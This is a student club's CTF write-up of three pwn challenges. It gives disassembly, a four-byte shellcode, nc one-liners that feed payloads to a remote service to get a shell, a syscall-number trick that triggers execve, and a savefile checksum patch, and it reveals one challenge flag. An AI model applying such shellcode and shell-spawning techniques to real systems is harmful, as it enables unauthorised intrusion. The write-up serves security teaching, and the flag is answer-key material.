Blog09: Misc — MCSC v10 Writeups: Part Two (Pwn Challenges)
Hello again folks!
You’ve been a lot to request the writeups for the pwn challenges from the MCSC v10’s CTF.
So, here they are.
Challenge — Whisper
[thamugadi@thinkpad whisper]$ checksec whisper
[*] ‘/home/thamugadi/mcsc/whisper/whisper’
Arch: amd64–64-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
The “Has RWX segments” should put us on the track of a code execution in the stack.
sub rsp, 0x100
xor rax, rax
xor rdi, rdi
mov rsi, rsp
mov rdx, 4
syscall
mov rax, 0xcafebabf
call_stack:
call rsp
mov rbx, 0xcafebabe
cmp rax, rbx
je flag
exit:
mov rax, 0x3c
syscall
flag:
mov rax, 0x0068732F6E69622F
push rax
mov rax, 59
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
syscall
It is exactly what is done. 4 bytes are read from stdin
into the stack, and then jumped to. Then the program will execute /bin/sh if RAX does contain 0xcafebabe
, and exit otherwise.
Since the initial value of RAX is 0xcafebabf
, we need to craft a shellcode that will decrement the value of RAX, and return to the saved RIP (call rsp
will firstly push the current RIP).
radare2 can do this work for us:
[0x00401000]> wa* dec rax
wx 48ffc8
[0x00401000]> wa* ret
wx c3
Our shellcode is 48 FF C8 C3
. This perfectly fits 4 bytes.
Therefore, this will open a shell:
[thamugadi@thinkpad whisper]$ (python2 -c ‘print “\x48\xff\xc8\xc3”’; cat) | nc {address} {port}
cat flag.txt
And we can simply retrieve the flag.
Challenge — wild
Let’s disassemble this bad boy.
; — section..text:
; — segment.LOAD1:
; — rip:
┌ 55: entry0 ();
│ ┌─< 0x00401000 jmp loc.start
..
│ ╎│ ; — start:
│ ╎└─> 0x0040100b sub rsp, 0x20
│ ╎ 0x0040100f xor rax, rax
│ ╎ 0x00401012 xor rdi, rdi
│ ╎ 0x00401015 mov rsi, rsp
│ ╎ 0x00401018 mov rdx, 0x1000
│ ╎ 0x0040101f syscall
│ ╎ 0x00401021 mov rdi, loc.arg0
│ ╎ 0x00401028 mov rsi, loc.ptr
│ ╎ 0x0040102f mov rdx, 0
│ ╎ 0x00401036 xor rax, 0x198
│ ╎ 0x0040103c syscall
└ └──< 0x0040103e jmp loc.exit
After executing a regular read
syscall, we see that @loc.arg0 (which contain /bin/sh
) is given as the first argument of an undefined syscall.
Actually, the syscall that will be executed there depends of the value of RAX, which is xorred with 0x198. We have to set RAX such as RAX ^ 0x198 = 59 (execve). You can check the syscalls table here. RAX value right after the read
should therefore be 419.
So, how can we input something to RAX? Well, an interesting property of read
is that the number of characters is written into RAX. We can control its value by adjusting the number of bytes we input.
(python2 -c ‘print “A”*418’; cat) | nc {addr} {port}
This will get the flag for us :)
Challenge — zelda
The “zelda” challenge consists of an interface where it is possible to view the “savefile”, modify it or load it. When we try to load one with an arbitrary name, we get:
Welcome to THE LEGEND OF MCSC!
What is your name?
aramya
1: Hexdump savefile
2: Modify savefile
3: Load savefile
3
Sorry, aramya, but it is written: Only Link can defeat Ganon.
Inputing “Link” as a name will result in the response: You are not Link, the Hero…
Let’s try to modify the savefile for it to contain the name “Link”:
Welcome to THE LEGEND OF MCSC!
What is your name?
Linkk
1: Hexdump savefile
2: Modify savefile
3: Load savefile
1
0x4c 0x69 0x6e 0x6b 0x6b 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0xf9 0x1 0x0 0x0
1: Hexdump savefile
2: Modify savefile
3: Load savefile
2
Offset? (hexadecimal)
4
Value? format: (hexadecimal)
0
1: Hexdump savefile
2: Modify savefile
3: Load savefile
3
Corrupted savefile
1: Hexdump savefile
2: Modify savefile
3: Load savefile
We get the Corrupted savefile
message! After a few tests, we can observe that the 4 last bytes are storing a very basic checksum, consisting of the sum of all the previous bytes, stored in 32-bit little endian format.
Let’s fix the checksum by decrementing the K we just erased :
0xf9 0x1 0x0 0x0
is 32LE for 0x1f9
: Linkk’s checksum0x1f9 — ord(“k”) = 0x18e = 0x8e 0x1 0x0 0x0
Therefore:
1: Hexdump savefile
2: Modify savefile
3: Load savefile
2
Offset? (hexadecimal)
c
Value? format: (hexadecimal)
8e
1: Hexdump savefile
2: Modify savefile
3: Load savefile
3
insec{th3_4dv3ntur3_0f_l1nk}
1: Hexdump savefile
2: Modify savefile
3: Load savefile
And tada! we got the flag :)
Challenges — tiny & power
These challenges require a bit more work, so their writeups will be posted seperately at a later time.
We hope these writeups answer the questions that you had about the reverse challenges.
And don’t forget! More writeups of other categories are coming up really soon.
Links
Facebook: INSEC Ensias
Instagram: INSEC Ensias
Linkedin: INSEC Ensias
Youtube: INSEC Club
Don’t forget to drop us a follow on social media to stay up to date with everything the club is doing. Looking forward to sharing more knowledge with all the readers and we welcome your feedback at insecblog@gmail.com
Writer: thmgdi
Editors: berradAtay, akna ,F3nn3C